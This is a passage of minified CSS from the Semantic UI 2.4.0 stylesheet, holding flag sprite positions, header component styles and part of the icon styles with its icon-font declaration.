-78px}i.flag.ai:before,i.flag.anguilla:before{background-position:0 -104px}i.flag.al:before,i.flag.albania:before{background-position:0 -130px}i.flag.am:before,i.flag.armenia:before{background-position:0 -156px}i.flag.an:before,i.flag.netherlands.antilles:before{background-position:0 -182px}i.flag.angola:before,i.flag.ao:before{background-position:0 -208px}i.flag.ar:before,i.flag.argentina:before{background-position:0 -234px}i.flag.american.samoa:before,i.flag.as:before{background-position:0 -260px}i.flag.at:before,i.flag.austria:before{background-position:0 -286px}i.flag.au:before,i.flag.australia:before{background-position:0 -312px}i.flag.aruba:before,i.flag.aw:before{background-position:0 -338px}i.flag.aland.islands:before,i.flag.ax:before{background-position:0 -364px}i.flag.az:before,i.flag.azerbaijan:before{background-position:0 -390px}i.flag.ba:before,i.flag.bosnia:before{background-position:0 -416px}i.flag.barbados:before,i.flag.bb:before{background-position:0 -442px}i.flag.bangladesh:before,i.flag.bd:before{background-position:0 -468px}i.flag.be:before,i.flag.belgium:before{background-position:0 -494px}i.flag.bf:before,i.flag.burkina.faso:before{background-position:0 -520px}i.flag.bg:before,i.flag.bulgaria:before{background-position:0 -546px}i.flag.bahrain:before,i.flag.bh:before{background-position:0 -572px}i.flag.bi:before,i.flag.burundi:before{background-position:0 -598px}i.flag.benin:before,i.flag.bj:before{background-position:0 -624px}i.flag.bermuda:before,i.flag.bm:before{background-position:0 -650px}i.flag.bn:before,i.flag.brunei:before{background-position:0 -676px}i.flag.bo:before,i.flag.bolivia:before{background-position:0 -702px}i.flag.br:before,i.flag.brazil:before{background-position:0 -728px}i.flag.bahamas:before,i.flag.bs:before{background-position:0 -754px}i.flag.bhutan:before,i.flag.bt:before{background-position:0 -780px}i.flag.bouvet.island:before,i.flag.bv:before{background-position:0 -806px}i.flag.botswana:before,i.flag.bw:before{background-position:0 -832px}i.flag.belarus:before,i.flag.by:before{background-position:0 -858px}i.flag.belize:before,i.flag.bz:before{background-position:0 -884px}i.flag.ca:before,i.flag.canada:before{background-position:0 -910px}i.flag.cc:before,i.flag.cocos.islands:before{background-position:0 -962px}i.flag.cd:before,i.flag.congo:before{background-position:0 -988px}i.flag.central.african.republic:before,i.flag.cf:before{background-position:0 -1014px}i.flag.cg:before,i.flag.congo.brazzaville:before{background-position:0 -1040px}i.flag.ch:before,i.flag.switzerland:before{background-position:0 -1066px}i.flag.ci:before,i.flag.cote.divoire:before{background-position:0 -1092px}i.flag.ck:before,i.flag.cook.islands:before{background-position:0 -1118px}i.flag.chile:before,i.flag.cl:before{background-position:0 -1144px}i.flag.cameroon:before,i.flag.cm:before{background-position:0 -1170px}i.flag.china:before,i.flag.cn:before{background-position:0 -1196px}i.flag.co:before,i.flag.colombia:before{background-position:0 -1222px}i.flag.costa.rica:before,i.flag.cr:before{background-position:0 -1248px}i.flag.cs:before,i.flag.serbia:before{background-position:0 -1274px}i.flag.cu:before,i.flag.cuba:before{background-position:0 -1300px}i.flag.cape.verde:before,i.flag.cv:before{background-position:0 -1326px}i.flag.christmas.island:before,i.flag.cx:before{background-position:0 -1352px}i.flag.cy:before,i.flag.cyprus:before{background-position:0 -1378px}i.flag.cz:before,i.flag.czech.republic:before{background-position:0 -1404px}i.flag.de:before,i.flag.germany:before{background-position:0 -1430px}i.flag.dj:before,i.flag.djibouti:before{background-position:0 -1456px}i.flag.denmark:before,i.flag.dk:before{background-position:0 -1482px}i.flag.dm:before,i.flag.dominica:before{background-position:0 -1508px}i.flag.do:before,i.flag.dominican.republic:before{background-position:0 -1534px}i.flag.algeria:before,i.flag.dz:before{background-position:0 -1560px}i.flag.ec:before,i.flag.ecuador:before{background-position:0 -1586px}i.flag.ee:before,i.flag.estonia:before{background-position:0 -1612px}i.flag.eg:before,i.flag.egypt:before{background-position:0 -1638px}i.flag.eh:before,i.flag.western.sahara:before{background-position:0 -1664px}i.flag.england:before,i.flag.gb.eng:before{background-position:0 -1690px}i.flag.er:before,i.flag.eritrea:before{background-position:0 -1716px}i.flag.es:before,i.flag.spain:before{background-position:0 -1742px}i.flag.et:before,i.flag.ethiopia:before{background-position:0 -1768px}i.flag.eu:before,i.flag.european.union:before{background-position:0 -1794px}i.flag.fi:before,i.flag.finland:before{background-position:0 -1846px}i.flag.fiji:before,i.flag.fj:before{background-position:0 -1872px}i.flag.falkland.islands:before,i.flag.fk:before{background-position:0 -1898px}i.flag.fm:before,i.flag.micronesia:before{background-position:0 -1924px}i.flag.faroe.islands:before,i.flag.fo:before{background-position:0 -1950px}i.flag.fr:before,i.flag.france:before{background-position:0 -1976px}i.flag.ga:before,i.flag.gabon:before{background-position:-36px 0}i.flag.gb:before,i.flag.uk:before,i.flag.united.kingdom:before{background-position:-36px -26px}i.flag.gd:before,i.flag.grenada:before{background-position:-36px -52px}i.flag.ge:before,i.flag.georgia:before{background-position:-36px -78px}i.flag.french.guiana:before,i.flag.gf:before{background-position:-36px -104px}i.flag.gh:before,i.flag.ghana:before{background-position:-36px -130px}i.flag.gi:before,i.flag.gibraltar:before{background-position:-36px -156px}i.flag.gl:before,i.flag.greenland:before{background-position:-36px -182px}i.flag.gambia:before,i.flag.gm:before{background-position:-36px -208px}i.flag.gn:before,i.flag.guinea:before{background-position:-36px -234px}i.flag.gp:before,i.flag.guadeloupe:before{background-position:-36px -260px}i.flag.equatorial.guinea:before,i.flag.gq:before{background-position:-36px -286px}i.flag.gr:before,i.flag.greece:before{background-position:-36px -312px}i.flag.gs:before,i.flag.sandwich.islands:before{background-position:-36px -338px}i.flag.gt:before,i.flag.guatemala:before{background-position:-36px -364px}i.flag.gu:before,i.flag.guam:before{background-position:-36px -390px}i.flag.guinea-bissau:before,i.flag.gw:before{background-position:-36px -416px}i.flag.guyana:before,i.flag.gy:before{background-position:-36px -442px}i.flag.hk:before,i.flag.hong.kong:before{background-position:-36px -468px}i.flag.heard.island:before,i.flag.hm:before{background-position:-36px -494px}i.flag.hn:before,i.flag.honduras:before{background-position:-36px -520px}i.flag.croatia:before,i.flag.hr:before{background-position:-36px -546px}i.flag.haiti:before,i.flag.ht:before{background-position:-36px -572px}i.flag.hu:before,i.flag.hungary:before{background-position:-36px -598px}i.flag.id:before,i.flag.indonesia:before{background-position:-36px -624px}i.flag.ie:before,i.flag.ireland:before{background-position:-36px -650px}i.flag.il:before,i.flag.israel:before{background-position:-36px -676px}i.flag.in:before,i.flag.india:before{background-position:-36px -702px}i.flag.indian.ocean.territory:before,i.flag.io:before{background-position:-36px -728px}i.flag.iq:before,i.flag.iraq:before{background-position:-36px -754px}i.flag.ir:before,i.flag.iran:before{background-position:-36px -780px}i.flag.iceland:before,i.flag.is:before{background-position:-36px -806px}i.flag.it:before,i.flag.italy:before{background-position:-36px -832px}i.flag.jamaica:before,i.flag.jm:before{background-position:-36px -858px}i.flag.jo:before,i.flag.jordan:before{background-position:-36px -884px}i.flag.japan:before,i.flag.jp:before{background-position:-36px -910px}i.flag.ke:before,i.flag.kenya:before{background-position:-36px -936px}i.flag.kg:before,i.flag.kyrgyzstan:before{background-position:-36px -962px}i.flag.cambodia:before,i.flag.kh:before{background-position:-36px -988px}i.flag.ki:before,i.flag.kiribati:before{background-position:-36px -1014px}i.flag.comoros:before,i.flag.km:before{background-position:-36px -1040px}i.flag.kn:before,i.flag.saint.kitts.and.nevis:before{background-position:-36px -1066px}i.flag.kp:before,i.flag.north.korea:before{background-position:-36px -1092px}i.flag.kr:before,i.flag.south.korea:before{background-position:-36px -1118px}i.flag.kuwait:before,i.flag.kw:before{background-position:-36px -1144px}i.flag.cayman.islands:before,i.flag.ky:before{background-position:-36px -1170px}i.flag.kazakhstan:before,i.flag.kz:before{background-position:-36px -1196px}i.flag.la:before,i.flag.laos:before{background-position:-36px -1222px}i.flag.lb:before,i.flag.lebanon:before{background-position:-36px -1248px}i.flag.lc:before,i.flag.saint.lucia:before{background-position:-36px -1274px}i.flag.li:before,i.flag.liechtenstein:before{background-position:-36px -1300px}i.flag.lk:before,i.flag.sri.lanka:before{background-position:-36px -1326px}i.flag.liberia:before,i.flag.lr:before{background-position:-36px -1352px}i.flag.lesotho:before,i.flag.ls:before{background-position:-36px -1378px}i.flag.lithuania:before,i.flag.lt:before{background-position:-36px -1404px}i.flag.lu:before,i.flag.luxembourg:before{background-position:-36px -1430px}i.flag.latvia:before,i.flag.lv:before{background-position:-36px -1456px}i.flag.libya:before,i.flag.ly:before{background-position:-36px -1482px}i.flag.ma:before,i.flag.morocco:before{background-position:-36px -1508px}i.flag.mc:before,i.flag.monaco:before{background-position:-36px -1534px}i.flag.md:before,i.flag.moldova:before{background-position:-36px -1560px}i.flag.me:before,i.flag.montenegro:before{background-position:-36px -1586px}i.flag.madagascar:before,i.flag.mg:before{background-position:-36px -1613px}i.flag.marshall.islands:before,i.flag.mh:before{background-position:-36px -1639px}i.flag.macedonia:before,i.flag.mk:before{background-position:-36px -1665px}i.flag.mali:before,i.flag.ml:before{background-position:-36px -1691px}i.flag.burma:before,i.flag.mm:before,i.flag.myanmar:before{background-position:-73px -1821px}i.flag.mn:before,i.flag.mongolia:before{background-position:-36px -1743px}i.flag.macau:before,i.flag.mo:before{background-position:-36px -1769px}i.flag.mp:before,i.flag.northern.mariana.islands:before{background-position:-36px -1795px}i.flag.martinique:before,i.flag.mq:before{background-position:-36px -1821px}i.flag.mauritania:before,i.flag.mr:before{background-position:-36px -1847px}i.flag.montserrat:before,i.flag.ms:before{background-position:-36px -1873px}i.flag.malta:before,i.flag.mt:before{background-position:-36px -1899px}i.flag.mauritius:before,i.flag.mu:before{background-position:-36px -1925px}i.flag.maldives:before,i.flag.mv:before{background-position:-36px -1951px}i.flag.malawi:before,i.flag.mw:before{background-position:-36px -1977px}i.flag.mexico:before,i.flag.mx:before{background-position:-72px 0}i.flag.malaysia:before,i.flag.my:before{background-position:-72px -26px}i.flag.mozambique:before,i.flag.mz:before{background-position:-72px -52px}i.flag.na:before,i.flag.namibia:before{background-position:-72px -78px}i.flag.nc:before,i.flag.new.caledonia:before{background-position:-72px -104px}i.flag.ne:before,i.flag.niger:before{background-position:-72px -130px}i.flag.nf:before,i.flag.norfolk.island:before{background-position:-72px -156px}i.flag.ng:before,i.flag.nigeria:before{background-position:-72px -182px}i.flag.ni:before,i.flag.nicaragua:before{background-position:-72px -208px}i.flag.netherlands:before,i.flag.nl:before{background-position:-72px -234px}i.flag.no:before,i.flag.norway:before{background-position:-72px -260px}i.flag.nepal:before,i.flag.np:before{background-position:-72px -286px}i.flag.nauru:before,i.flag.nr:before{background-position:-72px -312px}i.flag.niue:before,i.flag.nu:before{background-position:-72px -338px}i.flag.new.zealand:before,i.flag.nz:before{background-position:-72px -364px}i.flag.om:before,i.flag.oman:before{background-position:-72px -390px}i.flag.pa:before,i.flag.panama:before{background-position:-72px -416px}i.flag.pe:before,i.flag.peru:before{background-position:-72px -442px}i.flag.french.polynesia:before,i.flag.pf:before{background-position:-72px -468px}i.flag.new.guinea:before,i.flag.pg:before{background-position:-72px -494px}i.flag.ph:before,i.flag.philippines:before{background-position:-72px -520px}i.flag.pakistan:before,i.flag.pk:before{background-position:-72px -546px}i.flag.pl:before,i.flag.poland:before{background-position:-72px -572px}i.flag.pm:before,i.flag.saint.pierre:before{background-position:-72px -598px}i.flag.pitcairn.islands:before,i.flag.pn:before{background-position:-72px -624px}i.flag.pr:before,i.flag.puerto.rico:before{background-position:-72px -650px}i.flag.palestine:before,i.flag.ps:before{background-position:-72px -676px}i.flag.portugal:before,i.flag.pt:before{background-position:-72px -702px}i.flag.palau:before,i.flag.pw:before{background-position:-72px -728px}i.flag.paraguay:before,i.flag.py:before{background-position:-72px -754px}i.flag.qa:before,i.flag.qatar:before{background-position:-72px -780px}i.flag.re:before,i.flag.reunion:before{background-position:-72px -806px}i.flag.ro:before,i.flag.romania:before{background-position:-72px -832px}i.flag.rs:before,i.flag.serbia:before{background-position:-72px -858px}i.flag.ru:before,i.flag.russia:before{background-position:-72px -884px}i.flag.rw:before,i.flag.rwanda:before{background-position:-72px -910px}i.flag.sa:before,i.flag.saudi.arabia:before{background-position:-72px -936px}i.flag.sb:before,i.flag.solomon.islands:before{background-position:-72px -962px}i.flag.sc:before,i.flag.seychelles:before{background-position:-72px -988px}i.flag.gb.sct:before,i.flag.scotland:before{background-position:-72px -1014px}i.flag.sd:before,i.flag.sudan:before{background-position:-72px -1040px}i.flag.se:before,i.flag.sweden:before{background-position:-72px -1066px}i.flag.sg:before,i.flag.singapore:before{background-position:-72px -1092px}i.flag.saint.helena:before,i.flag.sh:before{background-position:-72px -1118px}i.flag.si:before,i.flag.slovenia:before{background-position:-72px -1144px}i.flag.jan.mayen:before,i.flag.sj:before,i.flag.svalbard:before{background-position:-72px -1170px}i.flag.sk:before,i.flag.slovakia:before{background-position:-72px -1196px}i.flag.sierra.leone:before,i.flag.sl:before{background-position:-72px -1222px}i.flag.san.marino:before,i.flag.sm:before{background-position:-72px -1248px}i.flag.senegal:before,i.flag.sn:before{background-position:-72px -1274px}i.flag.so:before,i.flag.somalia:before{background-position:-72px -1300px}i.flag.sr:before,i.flag.suriname:before{background-position:-72px -1326px}i.flag.sao.tome:before,i.flag.st:before{background-position:-72px -1352px}i.flag.el.salvador:before,i.flag.sv:before{background-position:-72px -1378px}i.flag.sy:before,i.flag.syria:before{background-position:-72px -1404px}i.flag.swaziland:before,i.flag.sz:before{background-position:-72px -1430px}i.flag.caicos.islands:before,i.flag.tc:before{background-position:-72px -1456px}i.flag.chad:before,i.flag.td:before{background-position:-72px -1482px}i.flag.french.territories:before,i.flag.tf:before{background-position:-72px -1508px}i.flag.tg:before,i.flag.togo:before{background-position:-72px -1534px}i.flag.th:before,i.flag.thailand:before{background-position:-72px -1560px}i.flag.tajikistan:before,i.flag.tj:before{background-position:-72px -1586px}i.flag.tk:before,i.flag.tokelau:before{background-position:-72px -1612px}i.flag.timorleste:before,i.flag.tl:before{background-position:-72px -1638px}i.flag.tm:before,i.flag.turkmenistan:before{background-position:-72px -1664px}i.flag.tn:before,i.flag.tunisia:before{background-position:-72px -1690px}i.flag.to:before,i.flag.tonga:before{background-position:-72px -1716px}i.flag.tr:before,i.flag.turkey:before{background-position:-72px -1742px}i.flag.trinidad:before,i.flag.tt:before{background-position:-72px -1768px}i.flag.tuvalu:before,i.flag.tv:before{background-position:-72px -1794px}i.flag.taiwan:before,i.flag.tw:before{background-position:-72px -1820px}i.flag.tanzania:before,i.flag.tz:before{background-position:-72px -1846px}i.flag.ua:before,i.flag.ukraine:before{background-position:-72px -1872px}i.flag.ug:before,i.flag.uganda:before{background-position:-72px -1898px}i.flag.um:before,i.flag.us.minor.islands:before{background-position:-72px -1924px}i.flag.america:before,i.flag.united.states:before,i.flag.us:before{background-position:-72px -1950px}i.flag.uruguay:before,i.flag.uy:before{background-position:-72px -1976px}i.flag.uz:before,i.flag.uzbekistan:before{background-position:-108px 0}i.flag.va:before,i.flag.vatican.city:before{background-position:-108px -26px}i.flag.saint.vincent:before,i.flag.vc:before{background-position:-108px -52px}i.flag.ve:before,i.flag.venezuela:before{background-position:-108px -78px}i.flag.british.virgin.islands:before,i.flag.vg:before{background-position:-108px -104px}i.flag.us.virgin.islands:before,i.flag.vi:before{background-position:-108px -130px}i.flag.vietnam:before,i.flag.vn:before{background-position:-108px -156px}i.flag.vanuatu:before,i.flag.vu:before{background-position:-108px -182px}i.flag.gb.wls:before,i.flag.wales:before{background-position:-108px -208px}i.flag.wallis.and.futuna:before,i.flag.wf:before{background-position:-108px -234px}i.flag.samoa:before,i.flag.ws:before{background-position:-108px -260px}i.flag.ye:before,i.flag.yemen:before{background-position:-108px -286px}i.flag.mayotte:before,i.flag.yt:before{background-position:-108px -312px}i.flag.south.africa:before,i.flag.za:before{background-position:-108px -338px}i.flag.zambia:before,i.flag.zm:before{background-position:-108px -364px}i.flag.zimbabwe:before,i.flag.zw:before{background-position:-108px -390px}/*! + * # Semantic UI 2.4.0 - Header + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.header{border:none;margin:calc(2rem - .14285714em) 0 1rem;padding:0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;line-height:1.28571429em;text-transform:none;color:rgba(0,0,0,.87)}.ui.header:first-child{margin-top:-.14285714em}.ui.header:last-child{margin-bottom:0}.ui.header .sub.header{display:block;font-weight:400;padding:0;margin:0;font-size:1rem;line-height:1.2em;color:rgba(0,0,0,.6)}.ui.header>.icon{display:table-cell;opacity:1;font-size:1.5em;padding-top:0;vertical-align:middle}.ui.header .icon:only-child{display:inline-block;padding:0;margin-right:.75rem}.ui.header>.image:not(.icon),.ui.header>img{display:inline-block;margin-top:.14285714em;width:2.5em;height:auto;vertical-align:middle}.ui.header>.image:not(.icon):only-child,.ui.header>img:only-child{margin-right:.75rem}.ui.header .content{display:inline-block;vertical-align:top}.ui.header>.image+.content,.ui.header>img+.content{padding-left:.75rem;vertical-align:middle}.ui.header>.icon+.content{padding-left:.75rem;display:table-cell;vertical-align:middle}.ui.header .ui.label{font-size:'';margin-left:.5rem;vertical-align:middle}.ui.header+p{margin-top:0}h1.ui.header{font-size:2rem}h2.ui.header{font-size:1.71428571rem}h3.ui.header{font-size:1.28571429rem}h4.ui.header{font-size:1.07142857rem}h5.ui.header{font-size:1rem}h1.ui.header .sub.header{font-size:1.14285714rem}h2.ui.header .sub.header{font-size:1.14285714rem}h3.ui.header .sub.header{font-size:1rem}h4.ui.header .sub.header{font-size:1rem}h5.ui.header .sub.header{font-size:.92857143rem}.ui.huge.header{min-height:1em;font-size:2em}.ui.large.header{font-size:1.71428571em}.ui.medium.header{font-size:1.28571429em}.ui.small.header{font-size:1.07142857em}.ui.tiny.header{font-size:1em}.ui.huge.header .sub.header{font-size:1.14285714rem}.ui.large.header .sub.header{font-size:1.14285714rem}.ui.header .sub.header{font-size:1rem}.ui.small.header .sub.header{font-size:1rem}.ui.tiny.header .sub.header{font-size:.92857143rem}.ui.sub.header{padding:0;margin-bottom:.14285714rem;font-weight:700;font-size:.85714286em;text-transform:uppercase;color:''}.ui.small.sub.header{font-size:.78571429em}.ui.sub.header{font-size:.85714286em}.ui.large.sub.header{font-size:.92857143em}.ui.huge.sub.header{font-size:1em}.ui.icon.header{display:inline-block;text-align:center;margin:2rem 0 1rem}.ui.icon.header:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.icon.header:first-child{margin-top:0}.ui.icon.header .icon{float:none;display:block;width:auto;height:auto;line-height:1;padding:0;font-size:3em;margin:0 auto .5rem;opacity:1}.ui.icon.header .content{display:block;padding:0}.ui.icon.header .circular.icon{font-size:2em}.ui.icon.header .square.icon{font-size:2em}.ui.block.icon.header .icon{margin-bottom:0}.ui.icon.header.aligned{margin-left:auto;margin-right:auto;display:block}.ui.disabled.header{opacity:.45}.ui.inverted.header{color:#fff}.ui.inverted.header .sub.header{color:rgba(255,255,255,.8)}.ui.inverted.attached.header{background:#545454 -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:#545454 -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#545454 linear-gradient(transparent,rgba(0,0,0,.05));-webkit-box-shadow:none;box-shadow:none;border-color:transparent}.ui.inverted.block.header{background:#545454 -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(0,0,0,.05)));background:#545454 -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#545454 linear-gradient(transparent,rgba(0,0,0,.05));-webkit-box-shadow:none;box-shadow:none}.ui.inverted.block.header{border-bottom:none}.ui.red.header{color:#db2828!important}a.ui.red.header:hover{color:#d01919!important}.ui.red.dividing.header{border-bottom:2px solid #db2828}.ui.inverted.red.header{color:#ff695e!important}a.ui.inverted.red.header:hover{color:#ff5144!important}.ui.orange.header{color:#f2711c!important}a.ui.orange.header:hover{color:#f26202!important}.ui.orange.dividing.header{border-bottom:2px solid #f2711c}.ui.inverted.orange.header{color:#ff851b!important}a.ui.inverted.orange.header:hover{color:#ff7701!important}.ui.olive.header{color:#b5cc18!important}a.ui.olive.header:hover{color:#a7bd0d!important}.ui.olive.dividing.header{border-bottom:2px solid #b5cc18}.ui.inverted.olive.header{color:#d9e778!important}a.ui.inverted.olive.header:hover{color:#d8ea5c!important}.ui.yellow.header{color:#fbbd08!important}a.ui.yellow.header:hover{color:#eaae00!important}.ui.yellow.dividing.header{border-bottom:2px solid #fbbd08}.ui.inverted.yellow.header{color:#ffe21f!important}a.ui.inverted.yellow.header:hover{color:#ffdf05!important}.ui.green.header{color:#21ba45!important}a.ui.green.header:hover{color:#16ab39!important}.ui.green.dividing.header{border-bottom:2px solid #21ba45}.ui.inverted.green.header{color:#2ecc40!important}a.ui.inverted.green.header:hover{color:#22be34!important}.ui.teal.header{color:#00b5ad!important}a.ui.teal.header:hover{color:#009c95!important}.ui.teal.dividing.header{border-bottom:2px solid #00b5ad}.ui.inverted.teal.header{color:#6dffff!important}a.ui.inverted.teal.header:hover{color:#54ffff!important}.ui.blue.header{color:#2185d0!important}a.ui.blue.header:hover{color:#1678c2!important}.ui.blue.dividing.header{border-bottom:2px solid #2185d0}.ui.inverted.blue.header{color:#54c8ff!important}a.ui.inverted.blue.header:hover{color:#3ac0ff!important}.ui.violet.header{color:#6435c9!important}a.ui.violet.header:hover{color:#5829bb!important}.ui.violet.dividing.header{border-bottom:2px solid #6435c9}.ui.inverted.violet.header{color:#a291fb!important}a.ui.inverted.violet.header:hover{color:#8a73ff!important}.ui.purple.header{color:#a333c8!important}a.ui.purple.header:hover{color:#9627ba!important}.ui.purple.dividing.header{border-bottom:2px solid #a333c8}.ui.inverted.purple.header{color:#dc73ff!important}a.ui.inverted.purple.header:hover{color:#d65aff!important}.ui.pink.header{color:#e03997!important}a.ui.pink.header:hover{color:#e61a8d!important}.ui.pink.dividing.header{border-bottom:2px solid #e03997}.ui.inverted.pink.header{color:#ff8edf!important}a.ui.inverted.pink.header:hover{color:#ff74d8!important}.ui.brown.header{color:#a5673f!important}a.ui.brown.header:hover{color:#975b33!important}.ui.brown.dividing.header{border-bottom:2px solid #a5673f}.ui.inverted.brown.header{color:#d67c1c!important}a.ui.inverted.brown.header:hover{color:#c86f11!important}.ui.grey.header{color:#767676!important}a.ui.grey.header:hover{color:#838383!important}.ui.grey.dividing.header{border-bottom:2px solid #767676}.ui.inverted.grey.header{color:#dcddde!important}a.ui.inverted.grey.header:hover{color:#cfd0d2!important}.ui.left.aligned.header{text-align:left}.ui.right.aligned.header{text-align:right}.ui.center.aligned.header,.ui.centered.header{text-align:center}.ui.justified.header{text-align:justify}.ui.justified.header:after{display:inline-block;content:'';width:100%}.ui.floated.header,.ui[class*="left floated"].header{float:left;margin-top:0;margin-right:.5em}.ui[class*="right floated"].header{float:right;margin-top:0;margin-left:.5em}.ui.fitted.header{padding:0}.ui.dividing.header{padding-bottom:.21428571rem;border-bottom:1px solid rgba(34,36,38,.15)}.ui.dividing.header .sub.header{padding-bottom:.21428571rem}.ui.dividing.header .icon{margin-bottom:0}.ui.inverted.dividing.header{border-bottom-color:rgba(255,255,255,.1)}.ui.block.header{background:#f3f4f5;padding:.78571429rem 1rem;-webkit-box-shadow:none;box-shadow:none;border:1px solid #d4d4d5;border-radius:.28571429rem}.ui.tiny.block.header{font-size:.85714286rem}.ui.small.block.header{font-size:.92857143rem}.ui.block.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1rem}.ui.large.block.header{font-size:1.14285714rem}.ui.huge.block.header{font-size:1.42857143rem}.ui.attached.header{background:#fff;padding:.78571429rem 1rem;margin-left:-1px;margin-right:-1px;-webkit-box-shadow:none;box-shadow:none;border:1px solid #d4d4d5}.ui.attached.block.header{background:#f3f4f5}.ui.attached:not(.top):not(.bottom).header{margin-top:0;margin-bottom:0;border-top:none;border-radius:0}.ui.top.attached.header{margin-bottom:0;border-radius:.28571429rem .28571429rem 0 0}.ui.bottom.attached.header{margin-top:0;border-top:none;border-radius:0 0 .28571429rem .28571429rem}.ui.tiny.attached.header{font-size:.85714286em}.ui.small.attached.header{font-size:.92857143em}.ui.attached.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1em}.ui.large.attached.header{font-size:1.14285714em}.ui.huge.attached.header{font-size:1.42857143em}.ui.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1.28571429em}/*! + * # Semantic UI 2.4.0 - Icon + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */@font-face{font-family:Icons;src:url(themes/default/assets/fonts/icons.eot);src:url(themes/default/assets/fonts/icons.eot?#iefix) format('embedded-opentype'),url(themes/default/assets/fonts/icons.woff2) format('woff2'),url(themes/default/assets/fonts/icons.woff) format('woff'),url(themes/default/assets/fonts/icons.ttf) format('truetype'),url(themes/default/assets/fonts/icons.svg#icons) format('svg');font-style:normal;font-weight:400;font-variant:normal;text-decoration:inherit;text-transform:none}i.icon{display:inline-block;opacity:1;margin:0 .25rem 0 0;width:1.18em;height:1em;font-family:Icons;font-style:normal;font-weight:400;text-decoration:inherit;text-align:center;speak:none;font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.icon:before{background:0 0!important}i.icon.loading{height:1em;line-height:1;-webkit-animation:icon-loading 2s linear infinite;animation:icon-loading 2s linear infinite}@-webkit-keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}i.icon.hover{opacity:1!important}i.icon.active{opacity:1!important}i.emphasized.icon{opacity:1!important}i.disabled.icon{opacity:.45!important}i.fitted.icon{width:auto;margin:0!important}i.link.icon,i.link.icons{cursor:pointer;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}i.link.icon:hover,i.link.icons:hover{opacity:1!important}i.circular.icon{border-radius:500em!important;line-height:1!important;padding:.5em 0!important;-webkit-box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset;width:2em!important;height:2em!important}i.circular.inverted.icon{border:none;-webkit-box-shadow:none;box-shadow:none}i.flipped.icon,i.horizontally.flipped.icon{-webkit-transform:scale(-1,1);transform:scale(-1,1)}i.vertically.flipped.icon{-webkit-transform:scale(1,-1);transform:scale(1,-1)}i.clockwise.rotated.icon,i.right.rotated.icon,i.rotated.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}i.counterclockwise.rotated.icon,i.left.rotated.icon{-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}i.bordered.icon{line-height:1;vertical-align:baseline;width:2em;height:2em;padding:.5em 0!important;-webkit-box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset}i.bordered.inverted.icon{border:none;-webkit-box-shadow:none;box-shadow:none}i.inverted.bordered.icon,i.inverted.circular.icon{background-color:#1b1c1d!important;color:#fff!important}i.inverted.icon{color:#fff}i.red.icon{color:#db2828!important}i.inverted.red.icon{color:#ff695e!important}i.inverted.bordered.red.icon,i.inverted.circular.red.icon{background-color:#db2828!important;color:#fff!important}i.orange.icon{color:#f2711c!important}i.inverted.orange.icon{color:#ff851b!important}i.inverted.bordered.orange.icon,i.inverted.circular.orange.icon{background-color:#f2711c!important;color:#fff!important}i.yellow.icon{color:#fbbd08!important}i.inverted.yellow.icon{color:#ffe21f!important}i.inverted.bordered.yellow.icon,i.inverted.circular.yellow.icon{background-color:#fbbd08!important;color:#fff!important}i.olive.icon{color:#b5cc18!important}i.inverted.olive.icon{color:#d9e778!important}i.inverted.bordered.olive.icon,i.inverted.circular.olive.icon{background-color:#b5cc18!important;color:#fff!important}i.green.icon{color:#21ba45!important}i.inverted.green.icon{color:#2ecc40!important}i.inverted.bordered.green.icon,i.inverted.circular.green.icon{background-color:#21ba45!important;color:#fff!important}i.teal.icon{color:#00b5ad!important}i.inverted.teal.icon{color:#6dffff!important}i.inverted.bordered.teal.icon,i.inverted.circular.teal.icon{background-color:#00b5ad!important;color:#fff!important}i.blue.icon{color:#2185d0!important}i.inverted.blue.icon{color:#54c8ff!important}i.inverted.bordered.blue.icon,i.inverted.circular.blue.icon{background-color:#2185d0!important;color:#fff!important}i.violet.icon{color:#6435c9!important}i.inverted.violet.icon{color:#a291fb!important}i.inverted.bordered.violet.icon,i.inverted.circular.violet.icon{background-color:#6435c9!important;color:#fff!important}i.purple.icon{color:#a333c8!important}i.inverted.purple.icon{color:#dc73ff!important}i.inverted.bordered.purple.icon,i.inverted.circular.purple.icon{background-color:#a333c8!important;color:#fff!important}i.pink.icon{color:#e03997!important}i.inverted.pink.icon{color:#ff8edf!important}i.inverted.bordered.pink.icon,i.inverted.circular.pink.icon{background-color:#e03997!important;color:#fff!important}i.brown.icon{color:#a5673f!important}i.inverted.brown.icon{color:#d67c1c!important}i.inverted.bordered.brown.icon,i.inverted.circular.brown.icon{background-color:#a5673f!important;color:#fff!important}i.grey.icon{color:#767676!important}i.inverted.grey.icon{color:#dcddde!important}i.inverted.bordered.grey.icon,i.inverted.circular.grey.icon{background-color:#767676!important;color:#fff!important}i.black.icon{color:#1b1c1d!important}i.inverted.black.icon{color:#545454!important}i.inverted.bordered.black.icon,i.inverted.circular.black.icon{background-color:#1b1c1d!important;color:#fff!important}i.mini.icon,i.mini.icons{line-height:1;font-size:.4em}i.tiny.icon,i.tiny.icons{line-height:1;font-size:.5em}i.small.icon,i.small.icons{line-height:1;font-size:.75em}i.icon,i.icons{font-size: